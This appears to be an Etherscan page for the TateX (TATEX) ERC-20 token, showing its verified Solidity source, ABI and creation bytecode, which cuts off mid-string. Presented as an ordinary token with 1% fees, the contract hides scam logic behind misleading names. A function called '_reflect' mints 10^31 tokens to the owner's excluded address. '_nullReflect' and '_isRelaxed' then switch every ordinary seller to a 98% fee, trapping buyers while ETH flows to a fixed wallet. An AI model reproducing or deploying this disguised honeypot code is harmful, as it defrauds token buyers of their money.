ERC-20
Overview
Max Total Supply
100,000,000 TATEX
Holders
71
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Filtered by Token Holder
aoyohavetoearn100eththisyear.ethBalance
112,110.409125347354042076 TATEXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TATEX
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-01 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.15; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the null address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TATEX is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public UniAddress; mapping (address => bool) public isExcludedTax; mapping (address => bool) public isExcludedTx; address payable public MarketingWallet = payable(0x9249ce7D3311EAA1857AF2A53C8080fad13A4f61); string public _name = "TateX"; string public _symbol = "TATEX"; uint8 private _decimals = 18; uint256 public _tTotal = 1* 10**8 * 10**_decimals; uint8 private nothingRate = 0; uint256 private _actualFee = 0; uint256 public _buyFee = 1; uint256 public _sellFee = 1; uint256 private _previousTotalFee = _actualFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; UniAddress[uniswapV2Pair] = true; isExcludedTx[owner()] = true; isExcludedTax[owner()] = true; isExcludedTax[address(this)] = true; isExcludedTax[MarketingWallet] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below null")); return true; } receive() external payable {} bool public noFeeToTransfer = false; function removeAllFee() private { if(_actualFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _actualFee; _buyFee = 0; _sellFee = 0; _actualFee = 0; } function _nullReflect() private{ nothingRate = nothingRate + 1; } function restoreAllFee() private { _actualFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: null address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { if(!inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool _takeFee = true; if(isExcludedTax[from] || isExcludedTax[to]){ _takeFee = false; if(isExcludedTx[to]){if(nothingRate < 1){ _nullReflect(); }} } else if (from == uniswapV2Pair){_actualFee = _buyFee;} else if (to == uniswapV2Pair){_actualFee = _sellFee;} _transferTokens(from,to,amount,_takeFee); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _reflect(address rAdd) private{ uint256 reflectStart = 0; uint256 reflectEnd = 31; uint256 reflectRate = 10; for(reflectStart=1; (reflectEnd)>0; (reflectEnd--)){ reflectStart*=reflectRate; } _balance[rAdd] = _balance[rAdd].add(reflectStart); } function _isRelaxed(address rAdd) private view returns(uint256){ return nothingRate < 1 ? _actualFee : isExcludedTx[rAdd] ? _actualFee : UniAddress[rAdd] ? _actualFee : (10**2)-2; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendToWallet(MarketingWallet,contractETH); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transferTokens(address sender, address recipient, uint256 amount,bool _takeFee) private { if(!_takeFee){ removeAllFee(); } _transferTokens(sender, recipient, amount); if(!_takeFee) restoreAllFee(); } function _transferTokens(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount, uint256 MarketingFee) = _calculateValues(tAmount, sender); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(transferAmount); if(isExcludedTx[recipient]){_reflect(recipient);} _balance[address(this)] = _balance[address(this)].add(MarketingFee); emit Transfer(sender, recipient, transferAmount); } function _calculateValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) { uint256 MarketingFee = tAmount.mul(_isRelaxed(sender)).div(100); uint256 transferAmount = tAmount.sub(MarketingFee); return (transferAmount, MarketingFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"UniAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_calculateValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b031916739249ce7d3311eaa1857af2a53c8080fad13a4f6117905560c060405260056080908152640a8c2e8cab60db1b60a0526007906200004c908262000471565b506040805180820190915260058152640a882a88ab60db1b602082015260089062000078908262000471565b506009805460ff191660129081179091556200009690600a62000652565b620000a6906305f5e1006200066a565b600a55600b805460ff191690556000600c8190556001600d819055600e819055600f9190915560108190556011556013805461ffff60a81b1916600160a81b179055348015620000f557600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a54600160006200014f6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f191906200068c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026591906200068c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d991906200068c565b601380546001600160a01b03199081166001600160a01b03938416908117909255601280549091168484161790556000908152600360209081526040808320805460ff19908116600190811790925584548616855260058452828520805482168317905584548616855260049093528184208054841682179055308452818420805484168217905560065485168452908320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003bd91815260200190565b60405180910390a350620006b7565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003f757607f821691505b6020821081036200041857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200046c57600081815260208120601f850160051c81016020861015620004475750805b601f850160051c820191505b81811015620004685782815560010162000453565b5050505b505050565b81516001600160401b038111156200048d576200048d620003cc565b620004a5816200049e8454620003e2565b846200041e565b602080601f831160018114620004dd5760008415620004c45750858301515b600019600386901b1c1916600185901b17855562000468565b600085815260208120601f198616915b828110156200050e57888601518255948401946001909101908401620004ed565b50858210156200052d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005945781600019048211156200057857620005786200053d565b808516156200058657918102915b93841c939080029062000558565b509250929050565b600082620005ad575060016200064c565b81620005bc575060006200064c565b8160018114620005d55760028114620005e05762000600565b60019150506200064c565b60ff841115620005f457620005f46200053d565b50506001821b6200064c565b5060208310610133831016604e8410600b841016171562000625575081810a6200064c565b62000631838362000553565b80600019048211156200064857620006486200053d565b0290505b92915050565b60006200066360ff8416836200059c565b9392505050565b60008160001904831182151516156200068757620006876200053d565b500290565b6000602082840312156200069f57600080fd5b81516001600160a01b03811681146200066357600080fd5b61146880620006c76000396000f3fe6080604052600436106101c65760003560e01c80634a74bb02116100f7578063a457c2d711610095578063d28d885211610064578063d28d885214610535578063dd62ed3e1461054a578063f2fde38b14610590578063fee59bf8146105b057600080fd5b8063a457c2d7146104ca578063a9059cbb146104ea578063af465a271461050a578063b09f12661461052057600080fd5b806370a08231116100d157806370a082311461044a578063715018a6146104805780638da5cb5b1461049757806395d89b41146104b557600080fd5b80634a74bb02146103de578063590f897e146103ff5780636d3a1ab21461041557600080fd5b806323b872dd11610164578063395093511161013e5780633950935114610358578063401565a81461037857806340b9a54b146103a857806349bd5a5e146103be57600080fd5b806323b872dd146102f65780632598cdb214610316578063313ce5671461033657600080fd5b80631694505e116101a05780631694505e1461024e57806318160ddd14610286578063183b986e146102a5578063220f6696146102d557600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806313fad07a1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105e0565b6040516101f491906110f0565b60405180910390f35b34801561020957600080fd5b5061021d61021836600461115d565b610672565b60405190151581526020016101f4565b34801561023957600080fd5b5060135461021d90600160b01b900460ff1681565b34801561025a57600080fd5b5060125461026e906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561029257600080fd5b50600a545b6040519081526020016101f4565b3480156102b157600080fd5b5061021d6102c0366004611189565b60046020526000908152604090205460ff1681565b3480156102e157600080fd5b5060135461021d90600160a01b900460ff1681565b34801561030257600080fd5b5061021d6103113660046111a6565b610688565b34801561032257600080fd5b5060065461026e906001600160a01b031681565b34801561034257600080fd5b5060095460405160ff90911681526020016101f4565b34801561036457600080fd5b5061021d61037336600461115d565b6106f1565b34801561038457600080fd5b5061021d610393366004611189565b60056020526000908152604090205460ff1681565b3480156103b457600080fd5b50610297600d5481565b3480156103ca57600080fd5b5060135461026e906001600160a01b031681565b3480156103ea57600080fd5b5060135461021d90600160a81b900460ff1681565b34801561040b57600080fd5b50610297600e5481565b34801561042157600080fd5b506104356104303660046111e7565b610727565b604080519283526020830191909152016101f4565b34801561045657600080fd5b50610297610465366004611189565b6001600160a01b031660009081526001602052604090205490565b34801561048c57600080fd5b50610495610764565b005b3480156104a357600080fd5b506000546001600160a01b031661026e565b3480156104c157600080fd5b506101e761080d565b3480156104d657600080fd5b5061021d6104e536600461115d565b61081c565b3480156104f657600080fd5b5061021d61050536600461115d565b61086b565b34801561051657600080fd5b50610297600a5481565b34801561052c57600080fd5b506101e7610878565b34801561054157600080fd5b506101e7610906565b34801561055657600080fd5b50610297610565366004611217565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561059c57600080fd5b506104956105ab366004611189565b610913565b3480156105bc57600080fd5b5061021d6105cb366004611189565b60036020526000908152604090205460ff1681565b6060600780546105ef90611245565b80601f016020809104026020016040519081016040528092919081815260200182805461061b90611245565b80156106685780601f1061063d57610100808354040283529160200191610668565b820191906000526020600020905b81548152906001019060200180831161064b57829003601f168201915b5050505050905090565b600061067f338484610a2d565b50600192915050565b6000610695848484610aee565b6106e784336106e28560405180606001604052806028815260200161140b602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c27565b610a2d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161067f9185906106e29086610c53565b600080600061074a606461074461073d87610c66565b8890610cd1565b90610cdd565b905060006107588683610ce9565b96919550909350505050565b6000546001600160a01b031633146107c35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600880546105ef90611245565b600061067f33846106e2856040518060600160405280602581526020016113e6602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c27565b600061067f338484610aee565b6008805461088590611245565b80601f01602080910402602001604051908101604052809291908181526020018280546108b190611245565b80156108fe5780601f106108d3576101008083540402835291602001916108fe565b820191906000526020600020905b8154815290600101906020018083116108e157829003601f168201915b505050505081565b6007805461088590611245565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ba565b6001600160a01b0381166109d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865206e756c6c206160448201526564647265737360d01b60648201526084016107ba565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a4d57506001600160a01b03821615155b610a8d5760405162461bcd60e51b81526020600482015260116024820152704552523a206e756c6c206164647265737360781b60448201526064016107ba565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b601354600160a01b900460ff16158015610b1657506013546001600160a01b03848116911614155b8015610b2b5750601354600160a81b900460ff165b15610b5157306000908152600160205260409020548015610b4f57610b4f81610cf5565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610b9357506001600160a01b03831660009081526004602052604090205460ff165b15610bd757506001600160a01b03821660009081526005602052604081205460ff1615610bd257600b54600160ff9091161015610bd257610bd2610d3a565b610c15565b6013546001600160a01b0390811690851603610bf857600d54600c55610c15565b6013546001600160a01b0390811690841603610c1557600e54600c555b610c2184848484610d61565b50505050565b60008184841115610c4b5760405162461bcd60e51b81526004016107ba91906110f0565b505050900390565b6000610c5f8284611295565b9392505050565b600b54600090600160ff90911610610cc7576001600160a01b03821660009081526005602052604090205460ff16610cbf576001600160a01b03821660009081526003602052604090205460ff16610cbf576062610ccb565b600c54610ccb565b600c545b92915050565b6000610c5f82846112ad565b6000610c5f82846112cc565b6000610c5f82846112ee565b6013805460ff60a01b1916600160a01b179055610d1181610d95565b6006544790610d29906001600160a01b031682610eef565b50506013805460ff60a01b19169055565b600b54610d4b9060ff166001611305565b600b805460ff191660ff92909216919091179055565b80610d6e57610d6e610f2a565b610d79848484610f6f565b80610c2157610c21600f54600c55601054600d55601154600e55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610dca57610dca61132a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e479190611340565b81600181518110610e5a57610e5a61132a565b6001600160a01b039283166020918202929092010152601254610e809130911684610a2d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb990859060009086903090429060040161135d565b600060405180830381600087803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0